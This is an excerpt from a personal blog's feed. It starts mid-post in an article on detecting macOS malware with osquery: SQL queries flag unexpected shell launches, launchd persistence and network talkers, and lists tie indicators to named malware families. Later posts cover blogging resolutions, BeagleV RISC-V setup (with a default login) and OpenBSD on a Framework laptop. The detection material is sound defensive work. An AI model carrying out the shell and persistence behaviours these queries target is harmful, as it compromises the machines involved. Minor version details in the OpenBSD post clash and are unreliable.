&lt;li&gt;&lt;code&gt;/bin/bash&lt;/code&gt;: Mentioned by CloudMensis, DazzleSpy, Gimmick, oRAT, rShell&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/bin/sh&lt;/code&gt;: Mentioned by CloudMensis, DazzleSpy, Insekt, KeySteal, oRAT&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bash&lt;/code&gt;: Mentioned by pymafka (no path!)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you maintain a list of programs you expect to launch a shell you can detect some exciting things. You can also get a bit more specific, by detecting particular flags such as &lt;code&gt;-s&#39; (pymafka) and &lt;/code&gt;-c` (SentinelSneak), but you are likely to miss many other types of execution.&lt;/p&gt;
&lt;p&gt;Here&#39;s an example base query, using process_events (backwards looking):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  pe.path AS child_path,
  pe.pid,
  REGEX_MATCH (pe.path, &#39;.*/(.*)&#39;, 1) AS child_name,
  TRIM(pe.cmdline) AS child_cmd,
  pe.parent AS parent_pid,
  TRIM(IIF(pp.cmdline != NULL, pp.cmdline, ppe.cmdline)) AS parent_cmd,
  TRIM(IIF(pp.path != NULL, pp.path, ppe.path)) AS parent_path,
  REGEX_MATCH (
    IIF(pp.path != NULL, pp.path, ppe.path),
    &#39;.*/(.*)&#39;,
    1
  ) AS parent_name
FROM
  process_events pe
  LEFT JOIN processes p ON pe.pid = p.pid
  LEFT JOIN processes pp ON pe.parent = pp.pid
  LEFT JOIN process_events ppe ON pe.parent = ppe.pid
WHERE
  pe.path IN (&#39;/bin/bash&#39;, &#39;/bin/sh&#39;)
  AND pe.time &amp;gt; (strftime(&#39;%s&#39;, &#39;now&#39;) -600)
  AND NOT parent_pid = -1
  AND NOT (
    parent_name IN (
      &#39;zsh&#39;,
      &#39;kubectl&#39;,
      &#39;sudo&#39;,
      &#39;bash&#39;,
      &#39;sh&#39;,
      &#39;git&#39;
    )
    OR child_cmd IN (
      &#39;sh -c python3.7 --version 2&amp;gt;&amp;amp;1&#39;,
      &#39;sh -c xcode-select --print-path &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&amp;amp; xcrun --sdk macosx --show-sdk-path 2&amp;gt;/dev/null&#39;
    )
  )
GROUP BY
  pe.pid
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We do some gymnastics in the above query to determine the name of the parent process: and preferring the name of active processes over past processes in the process_events table. We also use TRIM() as osquery often includes trailing spaces in &lt;code&gt;process_events&lt;/code&gt; table.&lt;/p&gt;
&lt;p&gt;For the full source code, see &lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/initial_access/unexpected-shell-parent-events.sql&quot;&gt;initial_access/unexpected-shell-parent-events.sql)&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Persistence: Launchd Program Arguments&lt;/h2&gt;
&lt;p&gt;While there are numerous ways to configure a program to launch after reboots, &lt;a href=&quot;https://www.launchd.info/&quot;&gt;launchd&lt;/a&gt; is by far the most popular method on macOS. This is even the case for Malware, so you should be auditing any unknown launchd users.&lt;/p&gt;
&lt;p&gt;While the osquery-defense-toolkit has many launchd related queries, we&#39;re going to focus on &lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/persistence/unexpected-launchd-program-arguments.sql&quot;&gt;unexpected-launchd-program-arguments.sql)&lt;/a&gt; here because it would have caught 2/3rds of the Malware we covered. Here&#39;s a simplified version of the query:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  l.label,
  l.name,
  l.path,
  TRIM(REGEX_SPLIT (l.program_arguments, &#39; -&#39;, 0)) AS program_path,
  l.program_arguments,
  l.keep_alive,
  signature.authority AS program_authority,
  hash.sha256
FROM
  launchd l
  LEFT JOIN signature ON program_path = signature.path
  LEFT JOIN hash ON program_path = hash.path
WHERE
  (
    run_at_load = 1
    OR keep_alive = 1
  )
  AND (
    program IS NULL
    OR program = &#39;&#39;
  )
  AND l.path NOT LIKE &#39;/System/%&#39;
  AND program_authority NOT IN (
    &#39;Developer ID Application: Microsoft Corporation (UBF8T346G9)&#39;,
    &#39;Software Signing&#39;
  )
  AND program_arguments NOT IN (
    &#39;/opt/homebrew/opt/mariadb/bin/mysqld_safe&#39;,
    &#39;/opt/homebrew/opt/skhd/bin/skhd&#39;,
  )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a low-maintenance query, only requiring periodic maintenance of the list of acceptable program authorities. There is a carve out at the end to list acceptable arguments from unsigned launchd entries, such as what you may see with Homebrew.&lt;/p&gt;
&lt;p&gt;It&#39;s worth noting that programs may choose to configure themselves using &lt;code&gt;launchd.program&lt;/code&gt; instead of &lt;code&gt;launchd.program_arguments&lt;/code&gt;, but that method is less flexible as does not allow for flags to be passed and thus does not seem to b popular with Malware authors. For an example of detecting launchd programs that do not use arguments, see &lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/persistence/unexpected-launchd-program.sql&quot;&gt;unexpected-launchd-program.sql&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Communications: Unexpected Talkers&lt;/h2&gt;
&lt;p&gt;The root of this query is: to know which programs talk to whom on your network. On macOS, you can use binary signatures to confidently disambiguate between software packages than install locations. You can see the full query source at &lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/c2/unexpected-talkers-macos.sql&quot;&gt;c2/unexpected-talkers-macos.sql&lt;/a&gt;, but this is the base:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  protocol,
  s.local_port,
  s.remote_port,
  s.remote_address,
  p.name,
  p.path,
  p.cmdline AS child_cmd,
  p.cwd,
  s.pid,
  p.parent AS parent_pid,
  pp.path AS parent_path,
  pp.cmdline AS parent_cmd,
  CONCAT (
    MIN(s.remote_port, 32768),
    &#39;,&#39;,
    protocol,
    &#39;,&#39;,
    MIN(p.uid, 500),
    &#39;,&#39;,
    p.name,
    &#39;,&#39;,
    signature.identifier,
    &#39;,&#39;,
    signature.authority
  ) AS exception_key
FROM
  process_open_sockets s
  LEFT JOIN processes p ON s.pid = p.pid
  LEFT JOIN processes pp ON pp.pid = p.parent
  LEFT JOIN signature ON p.path = signature.path
WHERE
  protocol &amp;gt; 0
  AND s.remote_port &amp;gt; 0
  -- Not apple software
  AND NOT (
    signature.identifier LIKE &#39;com.apple.%&#39;
    AND signature.authority = &#39;Software Signing&#39;
    AND remote_port IN (53, 443, 80)
    AND protocol IN (6, 17)
  )
  AND NOT exception_key IN (
    &#39;22,6,500,Cyberduck,ch.sudo.cyberduck,Developer ID Application: David Kocher (G69SCX94XU)&#39;,
    &#39;443,6,0,Install,com.adobe.Install,Developer ID Application: Adobe Inc. (JQ525L2MZD)&#39;,
    &#39;22,6,500,ssh,com.apple.openssh,Software Signing&#39;
  )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first time you run this query, prepare to feel overwhelmed by all the non-Apple applications you see on the network. The technique I&#39;ve found useful to build up a list of exceptions is to dump all the results to a programmatic form (CSV, JSON), sort and unique them, and autogenerate the correct syntax to include them into the SQL query.&lt;/p&gt;
&lt;p&gt;The calls to &lt;code&gt;MIN()&lt;/code&gt; are to disambiguate between root and non-root UIDs and ephemeral port ranges.&lt;/p&gt;
&lt;p&gt;One important caveat about the above query is that it uses &lt;code&gt;process_open_sockets&lt;/code&gt;, which only shows currently open connections, rather than &lt;code&gt;socket_events&lt;/code&gt; which allows you to inspect recent events. This means that there is potentially a race condition in which you may not see the talker if it has already closed the connection. For a backward-looking version of this query, try something like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  protocol,
  s.local_port,
  s.remote_port,
  s.remote_address,
  p.name,
  p.path,
  p.cmdline AS child_cmd,
  p.cwd,
  s.pid,
  p.parent AS parent_pid,
  pp.path AS parent_path,
  pp.cmdline AS parent_cmd,
  CONCAT (
    MIN(s.remote_port, 32768),
    &#39;,&#39;,
    MIN(p.uid, 500),
    &#39;,&#39;,
    p.name,
    &#39;,&#39;,
    signature.identifier,
    &#39;,&#39;,
    signature.authority
  ) AS exception_key
FROM
  socket_events s
  LEFT JOIN processes p ON s.pid = p.pid
  LEFT JOIN processes pp ON pp.pid = p.parent
  LEFT JOIN signature ON p.path = signature.path
WHERE s.remote_port &amp;gt; 0
AND s.time &amp;gt; (strftime(&#39;%s&#39;, &#39;now&#39;) -600)
  AND NOT (
    signature.identifier LIKE &#39;com.apple.%&#39;
    AND signature.authority = &#39;Software Signing&#39;
    AND remote_port IN (53, 443, 80)
    AND protocol IN (6, 17)
  )
  AND NOT exception_key IN (
    &#39;22,6,500,Cyberduck,ch.sudo.cyberduck,Developer ID Application: David Kocher (G69SCX94XU)&#39;,
    &#39;443,6,0,Install,com.adobe.Install,Developer ID Application: Adobe Inc. (JQ525L2MZD)&#39;,
    &#39;22,6,500,ssh,com.apple.openssh,Software Signing&#39;
  )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On my osquery installation, &lt;code&gt;socket_events.protocol&lt;/code&gt; is always NULL, so I&#39;ve omitted it in the second query.&lt;/p&gt;
&lt;p&gt;One optimization we use in the full version of &lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/c2/unexpected-talkers-macos.sql&quot;&gt;c2/unexpected-talkers-macos.sql&lt;/a&gt; is skipping SIP-protected paths. Checking the signatures of every binary is expensive, so as a performance optimization, we skip the paths that cannot normally be written to.&lt;/p&gt;
&lt;p&gt;Some applications are less predictable when it comes to outgoing ports to use, for example: web browsers or SyncThing. For those
you may want to craft more targetted logic than relying on &lt;code&gt;exception_key&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Expect this query to require a bit of maintenance: updating the list of entries weekly or daily. To make it easier to maintain, consider splitting out a list of HTTP/HTTPS talkers from the rest, as those protocols make up the bulk of communications on macOS. To further lower the maintenance burden, you could also have an exception list of &amp;quot;These signers can do whatever they want&amp;quot;.&lt;/p&gt;
&lt;h2&gt;Follow-ups&lt;/h2&gt;
&lt;p&gt;While reviewing the evidence, several other possibilities for detection arose:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Calls to &#39;chmod +x&#39; or other variants: nearly universal across Malware samples&lt;/li&gt;
&lt;li&gt;Unexpected programs that link against SecurityFramework: GIMMICK, oRAT, CloudMensis, Covid, KeySteal&lt;/li&gt;
&lt;li&gt;Unexpected programs that link against SystemConfiguration.framework: GIMMICK, CloudMensis, DazzleSpy&lt;/li&gt;
&lt;li&gt;Unexpected calls to launchctl load: CloudMensis, CoinMiner, DazzleSpy, GIMMICK, KeySteal&lt;/li&gt;
&lt;li&gt;Unexpected .pkg signers: oRAT, KeySteal&lt;/li&gt;
&lt;li&gt;Unexpected calls to xattr -c: CloudMensis, KeyStealer&lt;/li&gt;
&lt;li&gt;Unexpected programs that link against libcurl: SysJoker&lt;/li&gt;
&lt;li&gt;Processes running with unexpected extensions (.ts): SysJoker&lt;/li&gt;
&lt;li&gt;Unexpected contents within /var/root: SysJoker, GIMMICK&lt;/li&gt;
&lt;li&gt;Unexpected executables within /Library: SysJoker&lt;/li&gt;
&lt;li&gt;Fake Adobe Launchd Services: Coinminer&lt;/li&gt;
&lt;li&gt;XMRig process arguments: Coinminer&lt;/li&gt;
&lt;li&gt;Calls to bash -s (stdin): pymafka&lt;/li&gt;
&lt;li&gt;Programs named &amp;quot;MacOs&amp;quot; (bad case): SysJoker, Pymafka&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With any luck, some of these detection ideas will land in the osquery-defense-kit in the coming weeks. Help wanted!&lt;/p&gt;
&lt;h2&gt;Other weird things I noticed&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;DazzleSpy specifically references &lt;code&gt;/Volumes/GRMCPRXFRER_CN_DVD&lt;/code&gt; (Windows 7 SP1  DVD ISO)&lt;/li&gt;
&lt;li&gt;DazzleSpy references &lt;code&gt;/private/var/log/fsck_hfs.log&lt;/code&gt; - which seems like a weird log to exfiltrato.&lt;/li&gt;
&lt;li&gt;oRat doesn&#39;t have an obvious built-in persistence mechanism, though that may be deployed in a subsequent payload.&lt;/li&gt;
&lt;li&gt;VPN Trojan (Covid) references &lt;code&gt;enableReLaunchOnLogin&lt;/code&gt;, but doesn&#39;t have a known persistence mechanism.&lt;/li&gt;
&lt;li&gt;CloudMensis includes ancient Safari escapes: &lt;a href=&quot;https://github.com/maximehip/Safari-iOS10.3.2-macOS-10.12.4-exploit-Bugs/blob/master/Makefile&quot;&gt;https://github.com/maximehip/Safari-iOS10.3.2-macOS-10.12.4-exploit-Bugs/blob/master/Makefile&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CloudMensis references files I haven&#39;t seen mentioned before: &lt;code&gt;/Users/%/Library/Logs/imis.log&lt;/code&gt; (possibly just a typo for ims.log), and &lt;code&gt;/Library/Application Support/Apple/Fonts/iWork/.Standard.ttc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;CloudMensis contains some interesting calls to launchctl, such as &amp;quot;launchctl setenv HOME&amp;quot;. This appears to be related to a TCC bypass for CVE-2020–9934.&lt;/li&gt;
&lt;li&gt;Insekt has references to the pkexec exploit (Linux). Specifically, &lt;code&gt;/Users/woody/Downloads/vul/poc-cve-2021-4034-main/exploit.go&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Do let me know if you found this post useful!&lt;/p&gt;
</content>
  </entry><entry>
    <title>My yearly rebirth</title>
    <link href="https://choosehappy.dev/posts/2023/my-yearly-rebirth/"/>
    <updated>2023-01-03T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/my-yearly-rebirth/</id>
    <content xml:lang="en" type="html">&lt;p&gt;For years I’ve had New Year’s resolutions to commit to blogging. This year isn’t any different!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/my-yearly-rebirth/sCmY18H9.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So, what is different? For one, I feel I have more to share with the world now. I recently moved back to North Carolina, took up motorcycling again, and have professionally refocused on computer security.&lt;/p&gt;
&lt;p&gt;In a surprising turn of events, Twitter recently torched its community goodwill and has suffered a massive brain drain. While this has been felt most acutely in the computer security industry, other groups, such as journalists, have also moved to &lt;a href=&quot;https://joinmastodon.org/&quot; title=&quot;Mastodon&quot;&gt;Mastodon&lt;/a&gt;. I’ve tried my hand at Mastodon too, and while it’s been a good way to connect with more local personalities, it still feels a bit empty and hollow.&lt;/p&gt;
&lt;p&gt;The post-Twitter shift has made room for a nascent renaissance in distributed social media and even blogging. There&#39;s been a clamor for folks to &lt;a href=&quot;https://startafuckingblog.com/&quot;&gt;Start a Fucking Blog&lt;/a&gt;. Feeds are back en vogue, even if they have taken on a new flavor: &lt;a href=&quot;https://www.w3.org/TR/activitypub/&quot;&gt;ActivityPub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now blogs such as this one have ActivityPub feeds, which means they can be followed on Mastodon (this one is &lt;code&gt;@thomrstrom@unfinished.bike&lt;/code&gt;). Even a decade after it was declared dead, RSS is still around and &lt;a href=&quot;https://feedly.com/&quot;&gt;Feedly&lt;/a&gt; is as good as ever.&lt;/p&gt;
&lt;p&gt;It remains to be seen what will be done with this next-to-new-found-land.&lt;/p&gt;
</content>
  </entry><entry>
    <title>BeagleV RISCV experimentation</title>
    <link href="https://choosehappy.dev/posts/2022/beaglev/"/>
    <updated>2022-02-07T15:46:40Z</updated>
    <id>https://choosehappy.dev/posts/2022/beaglev/</id>
    <content xml:lang="en" type="html">&lt;p&gt;RVBoards has a handy &lt;a href=&quot;https://www.rvboards.org/single-blog-1.php?id=93&quot;&gt;Getting Started with BeagleV™ - StarLight&lt;/a&gt; guide that I followed to get the board up and running.&lt;/p&gt;
&lt;p&gt;Step 1: figuring out where the fan leads go to: red (5V power) goes to pin 4, black (ground) goes to pin 6.&lt;/p&gt;
&lt;p&gt;Step 2: Download latest Fedora image from the &lt;a href=&quot;https://github.com/starfive-tech/Fedora_on_StarFive&quot;&gt;starfive-tech/Fedora_on_StarFive&lt;/a&gt; repository. At the time of this writing, it&#39;s 2021-December-26, which uses the 5.16-rc6+ kernel:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;curl -LO https://fedora.starfivetech.com/pub/downloads/VisionFive-release/Fedora-riscv64-jh7100-developer-xfce-Rawhide-20211226-214100.n.0-sda.raw.zst
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It turns out that my download would fail every couple of hundred megabytes with &lt;code&gt;HTTP/2 stream 0 was not closed cleanly: INTERNAL_ERROR (err 2)&lt;/code&gt;, so I wrote a small fish loop to retry and resume the download until complete:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;while ! curl -LO -C - http://fedora.starfivetech.com/pub/downloads/VisionFive-release/Fedora-riscv64-jh7100-developer-xfce-Rawhide-20211226-214100.n.0-sda.raw.zst; sleep 1; end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Step 3: Confirm checksum and decompress image&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;unzstd Fedora-riscv64-jh7100-developer-xfce-Rawhide-20211226-214100.n.0-sda.raw.zst
sha256sum Fedora-riscv64-jh7100-developer-xfce-Rawhide-20211226-214100.n.0-sda.raw.zst
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Step 4: Flash the image&lt;/p&gt;
&lt;p&gt;Since I&#39;m on macOS, I use &lt;a href=&quot;https://www.balena.io/etcher/&quot;&gt;balenaEtcher&lt;/a&gt; for it&#39;s handy UI, but dd works as well:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt; sudo dd if=Fedora-riscv64-vic7100-dev-raw-image-Rawhide-202104161415.n.0-sda.raw of=&amp;lt;device&amp;gt; bs=8M status=progress
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Step 5: Serial&lt;/p&gt;
&lt;p&gt;Compared to other recent arm64 boards I&#39;ve used, the BeagleV has no built-in USB serial port, but it does have GPIO pins you can hook your own USB serial device up to. The guide called for GND in pin 6, TX in pin 8, and RX in pin 10. However, the fan also uses pin 6 for GND, so I opted for pin 14 instead. Once setup, the monstrosity appears:&lt;/p&gt;
&lt;p&gt;I normally use &lt;code&gt;minicom -b 115200&lt;/code&gt;, but in order to learn something new today, I tried SerialTools. The important part is setting your baud to 115200, but you&#39;ll also want to turn local echo off.&lt;/p&gt;
&lt;p&gt;Step 6: Logging in!&lt;/p&gt;
&lt;p&gt;The default login is &lt;code&gt;riscv:starfive&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The output of &lt;code&gt;uname -a&lt;/code&gt; shows that it&#39;s running Fedora 33:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Linux fedora-starfive 5.15.0-61.fc33.riscv64 #1 SMP Wed Nov 10 20:58:14 CST 2021 riscv64 riscv64 riscv64 GNU/Linux&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Step 6: Network connectivity&lt;/p&gt;
&lt;p&gt;After plugging in an ethernet cable, I was able to get an IPv4 IP, but oddly enough, the host did not get an IPv6 address, which I&#39;m going to need for this environment. This was easy enough to fix:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;sudo sed -i &#39;s/NETWORKING_IPV6=no/NETWORKING_IPV6=yes/g&#39; /etc/sysconfig/network
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But when I went  to restart the networking stack, it didn&#39;t go as planned:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ sudo systemctl restart network
Failed to restart network.service: Unit network.service not found.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&#39;s because it&#39;s now managed by another system:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;sudo nmcli con reload eth0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Step 7: Updates&lt;/p&gt;
&lt;p&gt;To update:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo dnf update &amp;amp;&amp;amp; sudo dnf upgrade -y&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Sadly, there were no updates, so I wouldn&#39;t put anything security sensitive on this board:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Last metadata expiration check: 0:01:04 ago on Tue 08 Feb 2022 01:03:06 AM CST.
Dependencies resolved.
Nothing to do.
Complete!
&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry><entry>
    <title>OpenBSD on the Framework laptop</title>
    <link href="https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/"/>
    <updated>2022-01-21T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/</id>
    <content xml:lang="en" type="html">&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/SCBz5x15.jpg&quot; alt=&quot;Framework laptop outside&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While preparing for my first week at &lt;a href=&quot;https://chainguard.dev/&quot;&gt;Chainguard&lt;/a&gt;, the CEO mentioned that I should order my own laptop. As a ~15 person startup, there isn&#39;t an IT department to handle these sorts of things.&lt;/p&gt;
&lt;p&gt;In 2022, the default laptop of choice for a software engineer working on cloud infrastructure is the &lt;a href=&quot;https://apple.com/powerbook&quot;&gt;Apple M1 Powerbook&lt;/a&gt;. They hit nearly all the checkboxes: a great screen, powerful CPUs, and battery life that is the envy of any laptop in their class. The arm64 based Macs are fantastic: in fact, I&#39;m typing this from my personal M1 MacBook Air. Ever the contrarian, I however felt that:&lt;/p&gt;
&lt;!--more--&gt;
&lt;ul&gt;
&lt;li&gt;Working at a company that embraces a secure-by-default stance should use an operating system that matches philosophically&lt;/li&gt;
&lt;li&gt;Using a non-standard environment ensures that I will need to learn the underlying system internals&lt;/li&gt;
&lt;li&gt;As an open-source contributor, supporting alternative platforms promotes inclusiveness, diversity, and clean architecture.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The clear hardware choice for rebellious open-source developers in 2022? The Framework Laptop. It ships with open-source firmware, is available without a closed-source operating system, and is designed to be user upgradeable.&lt;/p&gt;
&lt;p&gt;OpenBSD has always been a contumacious alternative, particularly on a laptop. That said, if you work in computer security, you owe it to yourself to try OpenBSD some time: if only to learn about the impact of a secure-by-default stance has on user behavior. While I expected OpenBSD to be painful on a laptop, I was comforted when I found this another blogger, Joshua Stein, who had &lt;a href=&quot;https://jcs.org/2021/08/06/framework&quot;&gt;detailed their experience&lt;/a&gt; (with much better photos)&lt;/p&gt;
&lt;h2&gt;Assembly&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/9bk4VhFN.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/framework-laptop-open.jpg&quot; alt=&quot;Framework Laptop Opened Up&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The Framework laptops come in two varieties: a pre-assembled laptop with Windows, and a DIY laptop without an OS. Since I wasn&#39;t planning on running Windows, I opted for the DIY version to save money. I won&#39;t repeat what is already in the excellent &lt;a href=&quot;https://guides.frame.work/Guide/Framework+Laptop+DIY+Edition+Quick+Start+Guide/57&quot;&gt;Framework Laptop DIY Edition Quick Start Guide&lt;/a&gt;, but I&#39;ll share some notes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/mOqFWFLn.jpg&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/network-card-install.jpg&quot; alt=&quot;Installing the network card&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Difficulty levels:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Memory: easy to add&lt;/li&gt;
&lt;li&gt;Storage: easy to add&lt;/li&gt;
&lt;li&gt;Wireless: easy to screw up once&lt;/li&gt;
&lt;li&gt;I/O ports: Trivial (I opted for 3 USB-C ports and 1 USB-A port)&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/o6czeU7r.jpg&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/framework-laptop-io-install.jpg&quot; alt=&quot;Framework I/O port installation&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Standout features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The I/O ports have plenty of clearance from one another. The aesthetics aren&#39;t great, but it means that the ports on each side are always usable, contrary to my MacBook Air.&lt;/li&gt;
&lt;li&gt;The case screws are all designed to be half-removed and stay in place. As someone who always loses screws, I really appreciated this.&lt;/li&gt;
&lt;li&gt;The magnetic case clasps are also a surprisingly nice reassuring touch&lt;/li&gt;
&lt;li&gt;If you make any changes to the RAM configuration, you will be staring at a black screen for the first 1-2 minutes of the next boot. It isn&#39;t reassuring at all.&lt;/li&gt;
&lt;li&gt;The webcam functions excellently (except in low-light).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Due to the compatibility issues documented at &lt;a href=&quot;https://jcs.org/2021/08/06/framework&quot;&gt;OpenBSD on the Framework Laptop&lt;/a&gt;, I bought the older Intel AX201NGW wireless card for a mere $13 on eBay.&lt;/p&gt;
&lt;h2&gt;Flashing an OpenBSD USB stick from macOS&lt;/h2&gt;
&lt;p&gt;I find I learn more about software by installing it from HEAD, or at least a recent snapshot of it. OpenBSD offers &lt;a href=&quot;https://cdn.openbsd.org/pub/OpenBSD/snapshots/amd64/&quot;&gt;nightly snapshot images&lt;/a&gt;, so I opted to download OpenBSD from there. I don&#39;t typically do so, but due to my interest in the software signing space, I decided to follow the instructions to confirm that the install image matches the expected SHA256 signature:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;curl -O https://cdn.openbsd.org/pub/OpenBSD/snapshots/amd64/SHA256 
shasum -c SHA256 --ignore-missing
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I had no idea that the &lt;code&gt;shasum&lt;/code&gt; command could pull hashes out of a text file like that. This is a great way to avoid corrupt downloads, but doesn&#39;t help at all for avoiding supply-chain attacks, as the checksums and the image share the same mutable distribution mechanism.&lt;/p&gt;
&lt;p&gt;Writing the install image to disk on macOS is the same as with other operating systems. Find the device name for the USB stick:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;sudo diskutil list                                                                 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this case, it&#39;s a 128GB Samsung Stick connected via USB-C, hiding at
&lt;code&gt;/dev/disk4&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/dev/disk0 (internal):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                         500.3 GB   disk0
   1:             Apple_APFS_ISC ⁨⁩                        524.3 MB   disk0s1
   2:                 Apple_APFS ⁨Container disk3⁩         494.4 GB   disk0s2
   3:        Apple_APFS_Recovery ⁨⁩                        5.4 GB     disk0s3
...
/dev/disk4 (external, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:     FDisk_partition_scheme                        *128.3 GB   disk4
   1:                 DOS_FAT_32 ⁨UNTITLED⁩                128.3 GB   disk4s1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unmount the disk, and flash it with OpenBSD:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;sudo diskutil unmountDisk /dev/disk4 
sudo dd if=install70.img of=/dev/disk4 bs=1m                                         ```
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;First Boot&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/7VJ1sOiP.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;During the first boot, I found myself staring at a black screen for a few minutes. It turns out that this weird behavior is expected when booting a standard open-source operating system due to Secure Boot.&lt;/p&gt;
&lt;p&gt;Once I rebooted, hit F2, and disabled secure boot, the laptop booted directly to USB.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Welcome to the OpenBSD/amd64 7.9 installation program.
(I)nstall, (U)pgrade, (A)autoinstall, or (S)hell?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since this is a corporate laptop, I certainly wanted to use Full Disk Encryption. I followed the &lt;a href=&quot;https://www.openbsd.org/faq/faq14.html#softraidFDE&quot;&gt;OpenBSD Full Disk Encryption&lt;/a&gt;, which meant selecting the &lt;code&gt;(S)hell&lt;/code&gt; option.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/NLzA0zLE.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While setting up the disks, the laptop suddenly lost power. What The Fudge? I was pretty sure it was related to my hardware, as I wasn&#39;t fully confident about was the DIMM insertion, so I attempted a RAM dance (something I learned from working in a Google Datacenter over a decade ago), but it happened again.&lt;/p&gt;
